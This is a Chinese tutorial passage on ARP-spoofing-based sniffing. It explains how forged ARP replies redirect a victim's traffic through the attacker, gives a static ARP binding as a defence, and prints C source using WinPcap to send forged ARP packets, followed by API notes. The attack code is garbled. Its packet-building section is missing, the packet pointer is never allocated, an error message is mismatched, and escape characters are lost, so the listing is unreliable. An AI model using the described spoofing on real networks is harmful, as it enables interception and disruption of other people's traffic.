欺骗的原理可简单的解释如下:假设有三台主机A,B,C位于同一个交换式中,监听者处于主机A,而主机B,C正在通信。现在A希望能嗅探到B->C的数据,于是A就可以伪装成C对B做ARP欺骗--向B发送伪造的ARP应答包,应答包中IP地址为C的IP地址而地址为A的MAC地址。 这个应答包会刷新B的ARP缓存,让B认为A就是C,说详细点,就是让B认为C的IP地址映射到的MAC地址为主机A的MAC地址。这样,B想要发送给C的数据实际上却发送给了A,就达到了嗅探的目的。我们在嗅探到数据后,还必须将此数据转发给C,这样就可以保证B,C的通信不被中断。以上就是基于ARP欺骗的嗅探基本原理,在这种嗅探方法中,嗅探者A实际上是插入到了B->C中,B的数据先发送给了A,然后再由A转发给C,其数据传输关系如下所示:
B----->A----->C
B<----A<------C
Windows系统中缓存了目前的MAC地址与IP地址之间的映射,通过arp -a命令可以获得,如下图:
笔者的电脑IP地址为192.168.1.2,通过192.168.1.1到达公网。当某人用"网络剪刀手"或"网络执法官"一类的软件给笔者发送伪造的ARP报文后,笔者的Windows会缓存一个错误的网关MAC地址。由于IP包最终要通过MAC地址寻址到192.168.1.1网关进行转发,而本机对192.168.1.1 MAC地址的记录已经是错的了,这样,IP包将无法到达网关,笔者将不能再连接Internet,这就是恼人的"网络剪刀手"的工作原理。如果受到了恶意的ARP欺骗,我们只需要将网关的IP地址与MAC地址在本机静态绑定,运行如下命令:
ARP -s 192.168.1.1 00-33-44-57-17-a3
再看看此时的ARP缓存:
192.168.1.1一项由dynamic变成了static。
实现ARP欺骗最重要的是要组建一个ARP报文并发送给要欺骗的目标主机,下面的源代码演示了这个过程:
#define EPT_IP 0x0800/* type: IP*/
#define EPT_ARP 0x0806/* type: ARP */
#define EPT_RARP 0x8035/* type: RARP */
#define ARP_HARDWARE 0x0001/* Dummy type for 802.3 frames */
#define ARP_REQUEST 0x0001/* ARP request */
#define ARP_REPLY 0x0002/* ARP reply */
#define Max_Num_Adapter 10
#pragma pack(push, 1)
typedef struct ehhdr
{
unsigned chareh_dst[6]; /* destination ethernet addrress */
unsigned chareh_src[6]; /* source ethernet addresss */
unsigned shorteh_type; /* ethernet pachet type*/
} EHHDR, *PEHHDR;
typedef struct arphdr
{
unsigned shortarp_hrd; /* format of hardware address */
unsigned shortarp_pro; /* format of protocol address */
unsigned chararp_hln; /* length of hardware address */
unsigned chararp_pln; /* length of protocol address */
unsigned shortarp_op; /* ARP/RARP operation */
unsigned chararp_sha[6]; /* sender hardware address */
unsigned longarp_spa; /* sender protocol address */
unsigned chararp_tha[6]; /* target hardware address */
unsigned longarp_tpa; /* target protocol address */
} ARPHDR, *PARPHDR;
typedef struct arpPacket
{
EHHDRehhdr;
ARPHDRarphdr;
} ARPPACKET, *PARPPACKET;
#pragma pack(pop)
int main(int argc, char *argv[])
{
static char AdapterList[Max_Num_Adapter][1024];
char szPacketBuf[600];
char MacAddr[6];
LPADAPTERlpAdapter;
LPPACKETlpPacket;
WCHARAdapterName[2048];
WCHAR *temp, *temp1;
ARPPACKET ARPPacket;
ULONG AdapterLength = 1024;
int AdapterNum = 0;
int nRetCode, i;
//Get The list of Adapter
if (PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
{
printf("Unable to retrieve the list of the adapters!n");
return 0;
}
temp = AdapterName;
temp1 = AdapterName;
i = 0;
while ((*temp != '') || (*(temp - 1) != ''))
{
if (*temp == '')
{
memcpy(AdapterList[i], temp1, (temp - temp1) *2);
temp1 = temp + 1;
i++;
}
temp++;
}
AdapterNum = i;
for (i = 0; i < AdapterNum; i++)
wprintf(L "n%d- %sn", i + 1, AdapterList[i]);
printf("n");
//Default open the 0
lpAdapter = (LPADAPTER)PacketOpenAdapter((LPTSTR)AdapterList[0]);
//取第一个网卡
if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
printf("warning: Unable to send more than one packet ina single write !
n ");
}
if (PacketSendPacket(lpAdapter, lpPacket, TRUE) == FALSE)
{
printf("Error sending the packets!n"); return 0;
}
printf("Send ok!n");
// close the adapter and exit
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return 0;
}
上述程序中使用了著名的开放项目Winpcap(The Packet Capture and Network Monitoring Library for Windows)中的API,项目网址为:http://www.winpcap.org/。Winpcap是UNIX下的libpcap移植到Windows下的产物,工作于驱动(Driver)层,能以很高的效率进行网络操作。其提供的packet.dll中包含了多个功能强大的函数,我们聊举几例:
LPPACKET PacketAllocatePacket(void);
如果运行成功,返回一个_PACKET结构的指针,否则返回NULL。成功返回的结果将会传送到PacketReceivePacket()函数,接收来自驱动的网络数据报。
LPADAPTER PacketOpetAdapter(LPTSTR AdapterName);
打开一个网络适配器。
VOID PacketCloseAdapter(LPADAPTER lpAdapter);
关闭参数中提供的网络适配器,释放相关的ADAPTER结构。
VOID PacketFreePacket(LPPACKET lpPacket);
释放参数提供的_PACKET结构。
BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize);
返回可以得到的网络适配器列表及描述。
BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync);
从NPF驱动程序读取网络数据报及统计信息。
数据报编码结构: |bpf_hdr|data|Padding|bpf_hdr|data|Padding|
BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync);
发送一个或多个数据报的副本。
我们用Depends工具打开pakcet.dll,如下图:
目前,网络剪刀手、网络执法官的软件在底层都用到了Winpcap。本节的例程代码中,看不到关于socket的内容,实际上已经在Winpcap中实现了。Winpcap的源代码可以直接在http://www.winpcap.org/下载。